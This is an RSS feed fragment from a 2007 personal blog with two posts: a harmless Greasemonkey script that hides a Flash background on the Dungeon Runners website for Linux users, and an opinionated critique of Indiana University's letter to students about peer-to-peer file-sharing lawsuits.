		<description><![CDATA[For those that use Linux, read my post yesterday, and decided to check out the website for <a href="http://dungeonrunners.com/">Dungeon Runners</a>, I apologize. I should have pointed out that their site is very, very unusable on Linux (ok, to be exact, I haven't gotten it to work with any version of Ubuntu, and Firefox). That changed today when I cooked up a small <a href="https://addons.mozilla.org/en-US/firefox/addon/748">GreaseMonkey</a> script which hides their Flash "movie" that plays in the background. Its not really a movie, its actually just a static image, but its loaded as a Flash movie. Anyways, its quite easy, go install GreaseMonkey, then the following script:


<pre lang="javascript">
// ==UserScript==
// @name           Dungeon Runners Linux Compliant
// @namespace      http://thesnarky.com
// @description    This removes the flash "movie" which blocks the main site for Dungeon Runners
// @include        http://dungeonrunners.com/*
// @include        http://boards.dungeonrunners.com/*
// ==/UserScript==

var objects = document.getElementsByTagName("object");
for(i=0; i<objects.length; i++) {
	var flash = objects[i];
	if(flash.getAttribute("id") == "bg_chars") {
		flash.style.display='none';
	}
}
</pre>

Can download it by clicking here: <a href="http://thesnarky.com/wp-admin/dungeonrunnerslinuxniceuser.js">http://thesnarky.com/wp-admin/dungeonrunnerslinuxniceuser.js</a>

This finds the one Flash object named bg_chars (which is the offender in this case) and tells him to go quietly sit in the corner. And such, all is right in the world, I don't need to boot into Windows to troll the forums (just to play the game).]]></description>
			<content:encoded><![CDATA[<p>For those that use Linux, read my post yesterday, and decided to check out the website for <a href="http://dungeonrunners.com/">Dungeon Runners</a>, I apologize. I should have pointed out that their site is very, very unusable on Linux (ok, to be exact, I haven't gotten it to work with any version of Ubuntu, and Firefox). That changed today when I cooked up a small <a href="https://addons.mozilla.org/en-US/firefox/addon/748">GreaseMonkey</a> script which hides their Flash "movie" that plays in the background. Its not really a movie, its actually just a static image, but its loaded as a Flash movie. Anyways, its quite easy, go install GreaseMonkey, then the following script:</p>
<pre class="javascript">&nbsp;
<span style="color: #009900; font-style: italic;">// ==UserScript==</span>
<span style="color: #009900; font-style: italic;">// @name           Dungeon Runners Linux Compliant</span>
<span style="color: #009900; font-style: italic;">// @namespace      http://thesnarky.com</span>
<span style="color: #009900; font-style: italic;">// @description    This removes the flash &quot;movie&quot; which blocks the</span>
<span style="color: #009900; font-style: italic;">//                      main site for Dungeon Runners</span>
<span style="color: #009900; font-style: italic;">// @include        http://dungeonrunners.com/*</span>
<span style="color: #009900; font-style: italic;">// @include        http://boards.dungeonrunners.com/*</span>
<span style="color: #009900; font-style: italic;">// ==/UserScript==</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> objects = document.<span style="color: #006600;">getElementsByTagName</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">&quot;object&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000066; font-weight: bold;">for</span><span style="color: #66cc66;">&#40;</span>i=<span style="color: #CC0000;">0</span>; i&lt;objects.<span style="color: #006600;">length</span>; i++<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
	<span style="color: #003366; font-weight: bold;">var</span> flash = objects<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
	<span style="color: #000066; font-weight: bold;">if</span><span style="color: #66cc66;">&#40;</span>flash.<span style="color: #006600;">getAttribute</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">&quot;id&quot;</span><span style="color: #66cc66;">&#41;</span> == <span style="color: #3366CC;">&quot;bg_chars&quot;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		flash.<span style="color: #006600;">style</span>.<span style="color: #006600;">display</span>=<span style="color: #3366CC;">'none'</span>;
	<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;</pre>
<p>Can download it by clicking here: <a href="http://thesnarky.com/wp-content/uploads/2007/12/dungeonrunnerslinuxniceuser.js">Script</a></p>
<p>This finds the one Flash object named bg_chars (which is the offender in this case) and tells him to go quietly sit in the corner. And such, all is right in the world, I don't need to boot into Windows to troll the forums (just to play the game).</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/12/23/dungeon-runners-website-on-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Are you Legal?</title>
		<link>http://thesnarky.com/2007/11/07/are-you-legal/</link>
		<comments>http://thesnarky.com/2007/11/07/are-you-legal/#comments</comments>
		<pubDate>Wed, 07 Nov 2007 17:42:48 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Digital Rights]]></category>
		<category><![CDATA[FUD]]></category>
		<category><![CDATA[Real Life Rights]]></category>

		<guid isPermaLink="false">http://thesnarky.com/2007/11/07/are-you-legal/</guid>
		<description><![CDATA[Here's a great example of our nation's colleges selling out their students and bending over to RIAA's demands. I just had an email passed on to me that originated from <a href="http://www.iub.edu">Indiana University's</a> <a href="http://www.indiana.edu/~ovpit/bios/mbruhn.html">Associate Vice President for Information &#038; Infrastructure Assurance</a> dealing with file sharing that is just plain sad. It shows a complete lack of caring for their students, as well as a lack of understanding about the laws involved. Oh, as well as the worst tag-lines for anti-file sharing I've ever heard!
<!--more-->]]></description>
			<content:encoded><![CDATA[<p>Here's a great example of our nation's colleges selling out their students and bending over to RIAA's demands. I just had an email passed on to me that originated from <a href="http://www.iub.edu">Indiana University's</a> <a href="http://www.indiana.edu/~ovpit/bios/mbruhn.html">Associate Vice President for Information & Infrastructure Assurance</a> dealing with file sharing that is just plain sad. It shows a complete lack of caring for their students, as well as a lack of understanding about the laws involved. Oh, as well as the worst tag-lines for anti-file sharing I've ever heard!<br />
<span id="more-181"></span><br />
<strong>The Letter</strong></p>
<blockquote><p>Dear IU Student:</p>
<p>All of us at Indiana University have been excited to welcome you this fall semester 2007, and we share your optimism for your success here.  It is in this spirit that we are writing to alert you to a significant risk having to do with how you may use the Internet.  It is VERY important that you read the contents of this letter.</p>
<p>Briefly, for the past year or so, music companies have been suing college students for thousands of dollars, because they claim those students have used "peer to peer" software like BitTorrent and Limewire to share songs with other people on the Internet without the permission of the people who own that music.  Lawsuits were filed against 19 Indiana University students in May 2007.  In October 2007 we received another round of "early settlement" letters, which typically have preceded lawsuits which may be filed if students don't settle the claims before the case goes to trial.  The music companies are demanding between $3,000 and $4,000 to settle their claims; several IU students have paid $4,000 in settlement.  If the lawsuits were to go to trial and the music companies are then able to prove their claims of copyright infringement, students could face substantially higher penalties under the law, not to mention significant legal fees.  The settlement amounts that IU students have paid this past summer have been financially devastating for some families, requiring at least one student to withdraw from school, and others to consider filing bankruptcy.</p>
<p>Many do not realize that it is generally illegal to share copyrighted music, videos, games, and software files over the Internet without the permission of the people who own those works.  In some cases there can be criminal penalties, even if students are not exchanging money as part of their file sharing.  It is critical that you understand the following:</p>
<p>- if you share copyrighted music, movies and software files over the Internet using peer-to-peer file sharing programs, you are most likely breaking the law -- and, based on recent cases, that's true even if you do not know you are sharing files;<br />
- it is relatively simple for the copyright owners or their agents to identify computers on the Internet from which sharing is taking place, and then use a subpoena to compel IU to identify the owner of that computer;<br />
- they may then file a lawsuit against you, seeking thousands of dollars;<br />
- illegal sharing using Internet access provided by IU also violates IU policy; and<br />
- if IU receives a valid notice that you have used the IU network to engage in unlawful file sharing, the University will impose appropriate disciplinary sanctions and, beginning January 1, 2008, will apply an administrative charge of $50 to your bursar bill to cover the costs of processing the notice.    </p>
<p>The University has been educating students for several years about the problems of sharing copyrighted materials over the Internet without permission of the copyright holders, and the serious risks that it poses to students and their families.  Our experience has been that students do not always understand the seriousness of this issue.  Therefore we are writing to urge you to help minimize the risks of unlawful file sharing by educating yourself and carefully considering these very real penalties. </p>
<p>For more information about the legal and policy issues surrounding file sharing and how to avoid becoming a target of a lawsuit, please see our website, <a href="http://filesharing.iu.edu">http://filesharing.iu.edu</a>.</p>
<p>This is not the sort of letter that we enjoy sending, but we hope you will understand that it is out of concern for IU students and families that we are taking the very unusual step of writing to you.  Again, we wish you all the best and sincerely welcome you as members of the Indiana University community this year.  </p>
<p>Sincerely,</p>
<p>Mark S. Bruhn<br />
Associate Vice President for Information and Infrastructure Assurance<br />
Office of the Vice President for Information Technology and CIO </p></blockquote>
<p>Hopefully you can see why I'm concerned, not only is IU turning students over to RIAA, but they're then charging them extra money! And all this in a year when two schools (<a href="http://arstechnica.com/news.ars/post/20070715-judge-deals-another-blow-to-riaas-war-against-on-campus-filesharing.html">William and Mary</a> and <a href="http://arstechnica.com/news.ars/post/20070620-judge-deals-blow-to-riaa-says-students-can-respond-to-john-doe-lawsuit.html">University of New Mexico</a>) have stood up to RIAA and federal judges have knocked down <em>ex parte</em> motions to allow for John Doe lawsuits. This means they would need to identify the guilty parties before filing suit, rather than identifying them as "John Doe" and then issuing subpoenas to the university to get their identity. This means it is possible for a school to defend their students in a court of law, if they so choose, there is precedence for it.</p>
<p><strong>The Claims</strong><br />
Now lets look at Indiana University's policy. Rather than defend their students, from a school that defended <a href="http://en.wikipedia.org/wiki/Alfred_Kinsey">Alfred Kinsey</a> and all his research, IU says that RIAA will 'compel [us] to identify the owner of that computer' and 'they may then file a lawsuit against you, seeking thousands of dollars.' This is what we call FUD (Fear, uncertainty, and doubt), not a good policy. In addition, if they 'have' to give your name up, they then charge you $50! When they have students withdrawing due to the costs of the case, why do they feel the need to add insult to injury and tack on more money? I was under the impression that they had <a href="http://www.indiana.edu/~sls/index.html">cheap representation for students</a>, if they couldn't afford a real lawyer. If that's the case, and you're not actually going to fight the claim, why not just have their interns write the damning response, giving up a fellow student?</p>
<p><strong>The Problems</strong><br />
We've already seen that these <em>ex parte</em> motions do not stand up in a court of law, so this whole business of being compelled to bend over to the subpoenas is utter nonsense. <strong>If IU bothered to fight, they would probably win</strong>. Especially since RIAA has been <a href="http://arstechnica.com/news.ars/post/20070716-riaas-final-tab-for-capitol-vs-foster-68685-23.html">forced to cover lawyer fees</a> in at least one big "win" for itself, to the tune of almost $65,000 dollars.</p>
<p>They say 'if you share copyrighted music, movies and software files over the Internet using peer-to-peer file sharing programs, you are most likely breaking the law' yet that doesn't matter because in this country you are innocent until proven guilty. That means that because there are circumstances (why they said most likely instead of you are) where you are not breaking the law, IU cannot simply assume you are. In the description paragraph they add to this saying students are sued because music companies 'claim those students have used "peer to peer" software'... <strong>That's all a claim. No mention of actual proof at all</strong>! And later 'If the lawsuits were to go to trial and the music companies are then able to prove their claims of copyright infringement...' shows that they've done nothing to prove it yet, but IU would rather turn their students over than try to fight on their behalf. </p>
<p>They say 'it is relatively simple for the copyright owners or their agents to identify computers on the Internet from which sharing is taking place, and then use a subpoena to compel IU to identify the owner of that computer' but that claim is false on one count, and legally unsound on the other. It may be 'simple' to see that a file is coming from a certain IP, but thanks to wonderful programs like <a href="http://www.torproject.org/">TOR</a>, simple proxies, and the fact that rootkits can do anything (including install a proxy for file sharing) with your computer there's no real knowledge that that computer was in fact the guilty one unless you check it for any of the above programs. In fact it gets more complicated because of IP and MAC address spoofing that would allow someone to masquerade as another student on the school network. That leads in to the second claim that IU can turn over the owner of that computer. Sure, some judges have actually found that even if you don't know it and accidentally share files you're guilty, but that's not who they're turning over. If you know IU's network policy, you know that you have to register your MAC address. This is how they 'know' the owner of the computer, not magic. It is trivial to spoof a MAC address to appear as another computer. <strong>So that means it is trivial to share files as another student with no repercussions upon yourself</strong>. </p>
<p>How can anyone with a background in computer security, as Mark Bruhn has, ignore the fact that it is so easy to spoof your identity, and believe RIAA when it says it can identify the correct IP? <strong>This is blatantly false</strong>!</p>
<p><strong>The Joke</strong><br />
Here's where it gets surreal, their anti-file-sharing campaign. I checked out <a href="http://filesharing.iu.edu">http://filesharing.iu.edu</a> and couldn't believe my eyes! Their campaign is 'Are you legal?' which on a college campus is more likely to be taken as a pick up line than a statement about online legality. They even offer free shirts with this slogan and handcuffs on it (which I promptly ordered for my graduation party)! All jokes aside, this website is great FUD. From the fonts used (horror themed), to the news posted (all pro-RIAA news, no mention of the wins against RIAA), to the request that students turn in websites they find suspicious this site is designed to scare students into compliance. </p>
<p>This is just a sad day for the 38,000 students at Indiana University, to have their school sell them out so readily, and then tack more money on! Anyone who feels this is as despicable as I do should be tempted to go ahead and <a href="mailto:mbruhn@iu.edu">write Mark Bruhn</a> or perhaps the new President, <a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&taxonomyId=18&articleId=303811&intsrc=hm_topic">who used to be the CIO</a>, and tell him how you feel. Maybe if the students say something, encourage their friends not to come, or stand up for their freedoms IU will stop its rampant policy changes. I'd note that this is in addition to a campus wide <a href="http://www.idsnews.com/news/story.aspx?id=40698&comview=1">smoking ban</a> that comes into effect the same day (January 1st, 2008) which prohibits anyone from smoking at any place on the entire campus. Now I don't smoke cigarettes, nor have I lived on a college campus in the past two years, but its absurd that a student would have to choose between quitting smoking and walking all the way off campus to smoke if they go to a major state school. Wouldn't it be better to set up designated smoking areas around major academic centers and residence halls? Maybe encourage people, rather than discourage them? Its time like these that make me glad to be getting out of college in a month and 8 days.</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/11/07/are-you-legal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
